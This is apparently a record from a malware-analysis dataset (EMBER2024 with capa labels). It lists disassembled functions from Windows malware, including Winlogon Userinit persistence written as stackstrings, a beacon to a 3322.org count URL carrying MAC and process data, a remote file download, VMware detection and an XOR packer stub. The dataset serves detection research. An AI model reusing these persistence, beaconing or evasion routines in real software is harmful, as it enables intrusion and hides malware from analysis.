joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401981
Capabilities:
Contain obfuscated stackstrings
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x114
push ebx
lea eax, [ebp - 0xc]
push esi
xor ebx, ebx
push eax
mov byte [ebp - 0xc], 0x53
mov byte [ebp - 0xb], 0x68
mov byte [ebp - 0xa], 0x65
mov byte [ebp - 9], 0x6c
mov byte [ebp - 8], 0x6c
mov byte [ebp - 7], 0x33
mov byte [ebp - 6], 0x32
mov byte [ebp - 5], 0x2e
mov byte [ebp - 4], 0x64
mov byte [ebp - 3], 0x6c
mov byte [ebp - 2], 0x6c
mov byte [ebp - 1], bl
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
cmp esi, ebx
je 0x401a30
push edi
push str.ShellExecuteA
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x40
mov dword [ebp - 0x10], eax
pop ecx
xor eax, eax
lea edi, [ebp - 0x113]
mov byte [ebp - 0x114], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x114]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea eax, [ebp - 0x114]
push str.Program_FilesInternet_ExplorerIEXPLORE.EXE
push eax
mov byte [ebp - 0x111], bl
call fcn.00403fb0
pop ecx
lea eax, [ebp - 0x114]
pop ecx
push ebx
push ebx
push dword [ebp + 8]
push eax
push ebx
push ebx
call dword [ebp - 0x10]
pop edi
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
pop esi
pop ebx
leave
ret

Function at 0x401a3b
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
and byte [ebp - 0x208], 0
push edi
push 0x40
xor eax, eax
pop ecx
lea edi, [ebp - 0x207]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x208]
push 0x410970
push eax
call fcn.004016be
lea eax, [ebp - 0x208]
push eax
push dword [ebp + 8]
call fcn.00401482
add esp, 0x10
test eax, eax
je 0x401b0b
lea eax, [ebp - 0x208]
push 0x41091c
push eax
call fcn.00403b6f
mov edi, eax
pop ecx
test edi, edi
pop ecx
je 0x401b18
lea eax, [ebp - 0x104]
push esi
push eax
mov esi, 0x410924
push esi
push edi
call fcn.00403f6a
add esp, 0xc
cmp eax, 0xffffffff
je 0x401b03
cmp byte [ebp - 0x104], 0x68
jne 0x401b03
cmp byte [ebp - 0x103], 0x74
jne 0x401b03
cmp byte [ebp - 0x102], 0x74
jne 0x401b03
cmp byte [ebp - 0x101], 0x70
jne 0x401b03
cmp dword [ebp + 0xc], 0
lea eax, [ebp - 0x104]
push eax
je 0x401af4
call fcn.00401912
jmp 0x401af9
call fcn.00401981
pop ecx
lea eax, [ebp - 0x104]
push eax
jmp 0x401aad
push edi
call fcn.00403988
pop ecx
pop esi
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
pop edi
leave
ret

Function at 0x401c42
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x128
push esi
push edi
xor edi, edi
push edi
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov esi, eax
lea eax, [ebp - 0x128]
push eax
push esi
mov dword [ebp - 0x128], 0x128
call sub.KERNEL32.dll_Process32First
lea eax, [ebp - 0x128]
inc edi
push eax
push esi
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x401c70
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
pop edi
pop esi
leave
ret
Function at 0x401c8f
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x35c
push ebx
push edi
lea eax, [ebp - 0x35c]
push 0x104
xor ebx, ebx
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x48]
mov byte [ebp - 0x44], 0x53
push eax
lea eax, [ebp - 0x44]
push eax
push 0x80000002
mov byte [ebp - 0x43], 0x6f
mov byte [ebp - 0x42], 0x66
mov byte [ebp - 0x41], 0x74
mov byte [ebp - 0x40], 0x77
mov byte [ebp - 0x3f], 0x61
mov byte [ebp - 0x3e], 0x72
mov byte [ebp - 0x3d], 0x65
mov byte [ebp - 0x3c], 0x5c
mov byte [ebp - 0x3b], 0x4d
mov byte [ebp - 0x3a], 0x69
mov byte [ebp - 0x39], 0x63
mov byte [ebp - 0x38], 0x72
mov byte [ebp - 0x37], 0x6f
mov byte [ebp - 0x36], 0x73
mov byte [ebp - 0x35], 0x6f
mov byte [ebp - 0x34], 0x66
mov byte [ebp - 0x33], 0x74
mov byte [ebp - 0x32], 0x5c
mov byte [ebp - 0x31], 0x57
mov byte [ebp - 0x30], 0x69
mov byte [ebp - 0x2f], 0x6e
mov byte [ebp - 0x2e], 0x64
mov byte [ebp - 0x2d], 0x6f
mov byte [ebp - 0x2c], 0x77
mov byte [ebp - 0x2b], 0x73
mov byte [ebp - 0x2a], 0x20
mov byte [ebp - 0x29], 0x4e
mov byte [ebp - 0x28], 0x54
mov byte [ebp - 0x27], 0x5c
mov byte [ebp - 0x26], 0x43
mov byte [ebp - 0x25], 0x75
mov byte [ebp - 0x24], 0x72
mov byte [ebp - 0x23], 0x72
mov byte [ebp - 0x22], 0x65
mov byte [ebp - 0x21], 0x6e
mov byte [ebp - 0x20], 0x74
mov byte [ebp - 0x1f], 0x56
mov byte [ebp - 0x1e], 0x65
mov byte [ebp - 0x1d], 0x72
mov byte [ebp - 0x1c], 0x73
mov byte [ebp - 0x1b], 0x69
mov byte [ebp - 0x1a], 0x6f
mov byte [ebp - 0x19], 0x6e
mov byte [ebp - 0x18], 0x5c
mov byte [ebp - 0x17], 0x57
mov byte [ebp - 0x16], 0x69
mov byte [ebp - 0x15], 0x6e
mov byte [ebp - 0x14], 0x6c
mov byte [ebp - 0x13], 0x6f
mov byte [ebp - 0x12], 0x67
mov byte [ebp - 0x11], 0x6f
mov byte [ebp - 0x10], 0x6e
mov byte [ebp - 0xf], bl
mov byte [ebp - 0xc], 0x55
mov byte [ebp - 0xb], 0x73
mov byte [ebp - 0xa], 0x65
mov byte [ebp - 9], 0x72
mov byte [ebp - 8], 0x69
mov byte [ebp - 7], 0x6e
mov byte [ebp - 6], 0x69
mov byte [ebp - 5], 0x74
mov byte [ebp - 4], bl
call dword [0x413a6c]
mov byte [ebp - 0x258], bl
mov ecx, 0x81
xor eax, eax
lea edi, [ebp - 0x257]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x50]
mov dword [ebp - 0x4c], 1
push eax
lea eax, [ebp - 0x258]
push eax
lea eax, [ebp - 0x4c]
push eax
lea eax, [ebp - 0xc]
push ebx
push eax
push dword [ebp - 0x48]
mov dword [ebp - 0x50], 0x209
call dword [0x413a70]
lea eax, [ebp - 0x258]
xor edi, edi
push eax
call fcn.00403b90
test eax, eax
pop ecx
jbe 0x401e37
cmp byte [ebp + edi - 0x258], 0x2c
je 0x401e30
lea eax, [ebp - 0x258]
inc edi
push eax
call fcn.00403b90
cmp edi, eax
pop ecx
jb 0x401e12
jmp 0x401e37
mov byte [ebp + edi - 0x257], bl
lea eax, [ebp - 0x35c]
push eax
lea eax, [ebp - 0x258]
push eax
call fcn.00403fb0
lea eax, [ebp - 0x258]
push eax
push 0x41097c
call fcn.00404493
lea eax, [ebp - 0x258]
push eax
call fcn.00403b90
add esp, 0x14
push eax
lea eax, [ebp - 0x258]
push eax
push 1
lea eax, [ebp - 0xc]
push ebx
push eax
push dword [ebp - 0x48]
call dword [0x413a74]
push dword [ebp - 0x48]
call dword [0x413a60]
pop edi
pop ebx
leave
ret
Function at 0x402278
Capabilities:
Enumerate processes
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xd60
push ebx
push esi
push edi
xor ebx, ebx
push 0x208
lea eax, [ebp - 0x960]
push ebx
push eax
call fcn.00403930
mov esi, 0x104
lea eax, [ebp - 0x220]
push esi
push ebx
push eax
call fcn.00403930
add esp, 0x18
push ebx
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov edi, eax
cmp edi, 0xffffffff
jne 0x4022c9
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x402447
lea eax, [ebp - 0x44c]
push eax
push edi
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x402329
lea eax, [ebp - 0x428]
push eax
lea eax, [ebp - 0x220]
push 0x410924
push eax
call dword [0x413aa0]
lea eax, [ebp - 0x220]
push eax
lea eax, [ebp - 0x960]
push eax
call fcn.00403fb0
lea eax, [ebp - 0x960]
push 0x410c7c
push eax
call fcn.00403fb0
add esp, 0x1c
lea eax, [ebp - 0x44c]
push eax
push edi
call sub.KERNEL32.dll_Process32Next
jmp 0x4022d6
push esi
lea eax, [ebp - 0x324]
push ebx
push eax
call fcn.00403930
add esp, 0xc
push ebx
push 0x80
push 3
push ebx
push 1
push 0x10000000
push str.c:Fuck.ini
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
lea eax, [ebp - 8]
push ebx
push eax
lea eax, [ebp - 0x324]
push esi
push eax
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 0xc2
xor eax, eax
lea edi, [ebp - 0x757]
mov byte [ebp - 0x758], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x18]
push eax
call fcn.00401b1b
pop ecx
xor eax, eax
push 0x40
lea edi, [ebp - 0x11b]
pop ecx
mov byte [ebp - 0x11c], bl
rep stosd dword es:[edi], eax
mov esi, dword [ebp - 0x14]
stosw word es:[edi], ax
cmp esi, ebx
stosb byte es:[edi], al
jne 0x4023b6
mov esi, 0x40e4e0
lea eax, [ebp - 0x11c]
push esi
push eax
call fcn.00403c0b
lea eax, [ebp - 0x324]
push eax
push str.10058
push 0x410564
push esi
push str.http:__viptong.3322.org:123_count.asp
lea eax, [ebp - 0x758]
push str._s_mac_sid_sver_sProcessNum_s
push eax
call fcn.00403c0b
add esp, 0x24
push ebx
push ebx
push ebx
push ebx
push str.Google_page
call dword [0x413ac0]
push ebx
mov edi, eax
push 0x80000000
push ebx
lea eax, [ebp - 0x758]
push ebx
push eax
push edi
call dword [0x413abc]
mov esi, eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0xd60]
push 0x400
push eax
push esi
mov dword [ebp - 4], ebx
call dword [0x413ac8]
push esi
mov esi, dword [0x413ac4]
call esi
push edi
call esi
push 1
lea ecx, [ebp - 0x18]
call fcn.004031ec
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40244c
Capabilities:
Delete file
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
and byte [ebp - 0x104], 0
push edi
push 0x40
xor eax, eax
pop ecx
lea edi, [ebp - 0x103]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x104]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea eax, [ebp - 0x104]
push str.MarkTxt
push eax
call fcn.00403fb0
lea eax, [ebp - 0x104]
push 0x41091c
push eax
call fcn.00403b6f
add esp, 0x10
test eax, eax
pop edi
jne 0x4024ae
push 1
pop eax
leave
ret
push eax
call fcn.00403988
pop ecx
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
xor eax, eax
leave
ret

Function at 0x4024c6
Capabilities:
Contain obfuscated stackstrings
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x240
push ebx
push esi
push edi
push 0x40
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp - 0x23f]
mov byte [ebp - 0x240], bl
push 0x49
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
pop ecx
xor eax, eax
lea edi, [ebp - 0x138]
mov dword [ebp - 0x13c], ebx
push ebx
push 2
rep stosd dword es:[edi], eax
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov esi, eax
cmp esi, 0xffffffff
mov dword [ebp - 0x14], esi
je 0x40260e
lea eax, [ebp - 0x13c]
mov dword [ebp - 0x13c], 0x128
push eax
push esi
call sub.KERNEL32.dll_Process32First
test eax, eax
jne 0x402534
push esi
jmp 0x402608
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp dword [ebp - 0x134], eax
jne 0x4025e8
push dword [ebp - 0x124]
push ebx
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
cmp edi, ebx
je 0x40260e
lea eax, [ebp - 0x240]
push 0x104
push eax
push ebx
push edi
call fcn.0040cda0
test eax, eax
je 0x40260e
lea eax, [ebp - 0x240]
mov byte [ebp - 0x10], 0x65
push eax
mov byte [ebp - 0xf], 0x78
mov byte [ebp - 0xe], 0x70
mov byte [ebp - 0xd], 0x6c
mov byte [ebp - 0xc], 0x6f
mov byte [ebp - 0xb], 0x72
mov byte [ebp - 0xa], 0x65
mov byte [ebp - 9], 0x72
mov byte [ebp - 8], 0x2e
mov byte [ebp - 7], 0x65
mov byte [ebp - 6], 0x78
mov byte [ebp - 5], 0x65
mov byte [ebp - 4], bl
call fcn.00403b90
mov esi, eax
lea eax, [ebp - 0x10]
push eax
call fcn.00403b90
sub esi, eax
lea eax, [ebp + esi - 0x240]
push eax
lea eax, [ebp - 0x10]
push eax
call fcn.0040c4c0
add esp, 0x10
test eax, eax
je 0x402600
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x13c]
push eax
push dword [ebp - 0x14]
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x402605
jmp 0x402534
push 1
pop eax
jmp 0x402610
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x402615
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x128
push ebx
push esi
xor ebx, ebx
push edi
push ebx
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov edi, eax
lea eax, [ebp - 0x128]
push eax
push edi
mov dword [ebp - 0x128], 0x128
call sub.KERNEL32.dll_Process32First
push dword [ebp + 8]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcmpiA]
lea eax, [ebp - 0x104]
push eax
call esi
test eax, eax
je 0x402677
lea eax, [ebp - 0x128]
push eax
push edi
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x40267d
push dword [ebp + 8]
lea eax, [ebp - 0x104]
push eax
jmp 0x402654
mov ebx, dword [ebp - 0x120]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
mov eax, ebx
pop esi
pop ebx
leave
ret

Function at 0x40268b
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x128
push esi
push edi
xor edi, edi
push edi
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov esi, eax
cmp esi, edi
je 0x4026ee
lea eax, [ebp - 0x128]
mov dword [ebp - 0x128], 0x128
push eax
push esi
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x4026e7
lea eax, [ebp - 0x104]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
je 0x4026e4
lea eax, [ebp - 0x128]
push eax
push esi
call sub.KERNEL32.dll_Process32Next
jmp 0x4026bd
push 1
pop edi
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
pop edi
pop esi
leave
ret

Function at 0x40289e
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x128
and byte [ebp - 0x128], 0
push edi
push 0x40
xor eax, eax
pop ecx
lea edi, [ebp - 0x127]
rep stosd dword es:[edi], eax
and byte [ebp - 1], 0
push 0x410920
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x128]
mov byte [ebp - 0x24], 0x68
push eax
mov byte [ebp - 0x23], 0x74
mov byte [ebp - 0x22], 0x74
mov byte [ebp - 0x21], 0x70
mov byte [ebp - 0x20], 0x3a
mov byte [ebp - 0x1f], 0x2f
mov byte [ebp - 0x1e], 0x2f
mov byte [ebp - 0x1d], 0x73
mov byte [ebp - 0x1c], 0x33
mov byte [ebp - 0x1b], 0x2e
mov byte [ebp - 0x1a], 0x64
mov byte [ebp - 0x19], 0x79
mov byte [ebp - 0x18], 0x38
mov byte [ebp - 0x17], 0x62
mov byte [ebp - 0x16], 0x2e
mov byte [ebp - 0x15], 0x63
mov byte [ebp - 0x14], 0x6f
mov byte [ebp - 0x13], 0x6d
mov byte [ebp - 0x12], 0x3a
mov byte [ebp - 0x11], 0x38
mov byte [ebp - 0x10], 0x30
mov byte [ebp - 0xf], 0x38
mov byte [ebp - 0xe], 0x31
mov byte [ebp - 0xd], 0x2f
mov byte [ebp - 0xc], 0x44
mov byte [ebp - 0xb], 0x65
mov byte [ebp - 0xa], 0x73
mov byte [ebp - 9], 0x6b
mov byte [ebp - 8], 0x74
mov byte [ebp - 7], 0x6f
mov byte [ebp - 6], 0x70
mov byte [ebp - 5], 0x2e
mov byte [ebp - 4], 0x6a
mov byte [ebp - 3], 0x70
mov byte [ebp - 2], 0x67
call fcn.004016be
lea eax, [ebp - 0x128]
push eax
lea eax, [ebp - 0x24]
push eax
call fcn.00401482
lea eax, [ebp - 0x128]
push eax
call fcn.00401722
add esp, 0x14
test eax, eax
pop edi
je 0x402991
lea eax, [ebp - 0x128]
push eax
call fcn.004017b2
pop ecx
leave
ret
Function at 0x402a4a
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
push ebx
push edi
lea eax, [ebp - 0x108]
push 0x104
push eax
xor edi, edi
push dword [ebp + 8]
mov dword [ebp - 4], edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push edi
push edi
push 3
push edi
push 1
lea eax, [ebp - 0x108]
push 0x80000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
mov dword [ebp + 8], eax
jne 0x402a94
xor eax, eax
jmp 0x402aea
push esi
push 2
push edi
push 0xfffffc00
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov esi, 0x400
push esi
call fcn.00404090
pop ecx
mov ebx, eax
lea eax, [ebp - 4]
push edi
push eax
push esi
push ebx
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_ReadFile]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
push esi
push dword [ebp + 0xc]
push ebx
call fcn.004029fb
add esp, 0x10
cmp eax, 0xffffffff
pop esi
jne 0x402ae8
push ebx
call fcn.004035dc
pop ecx
jmp 0x402a90
add eax, ebx
pop edi
pop ebx
leave
ret

Function at 0x402b6b
Capabilities:
Reference the vmware io port

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40e4f8
push 0x4045cc
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xc
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
mov byte [ebp - 0x1c], 1
and dword [ebp - 4], 0
push edx
push ecx
push ebx
mov eax, 0x564d5868
mov ebx, 0
mov ecx, 0xa
mov edx, 0x5658
in eax, dx
cmp ebx, 0x564d5868
sete byte [ebp - 0x1c]
pop ebx
pop ecx
pop edx
jmp 0x402bcb
or dword [ebp - 4], 0xffffffff
mov al, byte [ebp - 0x1c]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40cfc1
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x128
push esi
push edi
xor edi, edi
push edi
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov esi, eax
cmp esi, edi
je 0x40d024
lea eax, [ebp - 0x128]
mov dword [ebp - 0x128], 0x128
push eax
push esi
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x40d01d
lea eax, [ebp - 0x104]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
je 0x40d01a
lea eax, [ebp - 0x128]
push eax
push esi
call sub.KERNEL32.dll_Process32Next
jmp 0x40cff3
push 1
pop edi
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
pop edi
pop esi
leave
ret

Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
push 4
nop
nop
pop edi
nop
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
nop
je 0x433072
nop
nop
mov ebx, 0x40de38
nop
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
div edi
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
pop eax
nop
nop
mov esi, 0xd0f1ab7
nop
nop
nop
xor dword [eax], esi
nop
nop
add eax, edi
nop
nop
nop
nop
nop
nop
loop 0x433060
nop
nop
mov eax, section..data
nop
cmp eax, 0
nop
nop
nop
nop
nop
je 0x4330d2
nop
nop
mov ebx, 0x4304d8
nop
nop
nop
nop
nop
mov ecx, ebx
nop
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
xchg ecx, eax
pop eax
nop
nop
nop
nop
nop
nop
mov esi, 0x6fb615da
xor dword [eax], esi
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
loop 0x4330c0
nop
nop
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x431219
Function at 0x100044ab
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x418
mov eax, dword [0x10080060]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
xor edi, edi
xor eax, eax
mov esi, ecx
push 0x40e
mov word [ebp - 0x418], ax
lea eax, [ebp - 0x416]
push edi
push eax
mov dword [esi], edi
mov dword [esi + 8], edi
mov dword [esi + 0xc], edi
mov dword [esi + 0x10], edi
call fcn.10035590
add esp, 0xc
push edi
push 0x1a
lea eax, [ebp - 0x418]
push eax
push edi
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
push str...LocalTemp
lea eax, [ebp - 0x418]
push eax
call dword [sym.imp.SHLWAPI.dll_PathAppendW]
lea edi, [ebp - 0x418]
call fcn.10004463
mov ecx, dword [ebp - 4]
pop edi
mov eax, esi
xor ecx, ebp
pop esi
call fcn.10033d61
leave
ret

Function at 0x1000452b
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x418
mov eax, dword [0x10080060]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
xor eax, eax
mov esi, ecx
push edi
push 0x40e
push eax
mov dword [esi], eax
mov dword [esi + 8], eax
mov dword [esi + 0xc], eax
mov dword [esi + 0x10], eax
lea eax, [ebp - 0x416]
xor ecx, ecx
push eax
mov word [ebp - 0x418], cx
call fcn.10035590
add esp, 0xc
push 0x208
lea eax, [ebp - 0x418]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
push str.Installer_PatchCache_Managed
lea eax, [ebp - 0x418]
push eax
call dword [sym.imp.SHLWAPI.dll_PathAppendW]
lea edi, [ebp - 0x418]
call fcn.10004463
mov ecx, dword [ebp - 4]
pop edi
mov eax, esi
xor ecx, ebp
pop esi
call fcn.10033d61
leave
ret

Function at 0x100045ac
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x418
mov eax, dword [0x10080060]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
xor edi, edi
xor eax, eax
mov esi, ecx
push 0x40e
mov word [ebp - 0x418], ax
lea eax, [ebp - 0x416]
push edi
push eax
mov dword [esi], edi
mov dword [esi + 8], edi
mov dword [esi + 0xc], edi
mov dword [esi + 0x10], edi
call fcn.10035590
add esp, 0xc
push edi
push 0x1a
lea eax, [ebp - 0x418]
push eax
push edi
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
push str...LocalMicrosoftTerminal_Server_ClientCache
lea eax, [ebp - 0x418]
push eax
call dword [sym.imp.SHLWAPI.dll_PathAppendW]
lea edi, [ebp - 0x418]
call fcn.10004463
mov ecx, dword [ebp - 4]
pop edi
mov eax, esi
xor ecx, ebp
pop esi
call fcn.10033d61
leave
ret
Function at 0x1000462c
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x418
mov eax, dword [0x10080060]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
xor eax, eax
mov esi, ecx
push edi
push 0x40e
push eax
mov dword [esi], eax
mov dword [esi + 8], eax
mov dword [esi + 0xc], eax
mov dword [esi + 0x10], eax
lea eax, [ebp - 0x416]
xor ecx, ecx
push eax
mov word [ebp - 0x418], cx
call fcn.10035590
add esp, 0xc
push 0x208
lea eax, [ebp - 0x418]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
push str.Logs
lea eax, [ebp - 0x418]
push eax
call dword [sym.imp.SHLWAPI.dll_PathAppendW]
lea edi, [ebp - 0x418]
mov dword [esi + 0x10], str._.log_
call fcn.10004463
mov ecx, dword [ebp - 4]
pop edi
mov eax, esi
xor ecx, ebp
pop esi
call fcn.10033d61
leave
ret

Function at 0x100046b4
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x418
mov eax, dword [0x10080060]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
xor edi, edi
xor eax, eax
mov esi, ecx
push 0x40e
mov word [ebp - 0x418], ax
lea eax, [ebp - 0x416]
push edi
push eax
mov dword [esi], edi
mov dword [esi + 8], edi
mov dword [esi + 0xc], edi
mov dword [esi + 0x10], edi
call fcn.10035590
add esp, 0xc
push edi
push 0x23
lea eax, [ebp - 0x418]
push eax
push edi
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
push str.MicrosoftWindowsWERReportArchive
lea eax, [ebp - 0x418]
push eax
call dword [sym.imp.SHLWAPI.dll_PathAppendW]
lea edi, [ebp - 0x418]
mov dword [esi + 0x10], str._.wer_
call fcn.10004463
mov ecx, dword [ebp - 4]
pop edi
mov eax, esi
xor ecx, ebp
pop esi
call fcn.10033d61
leave
ret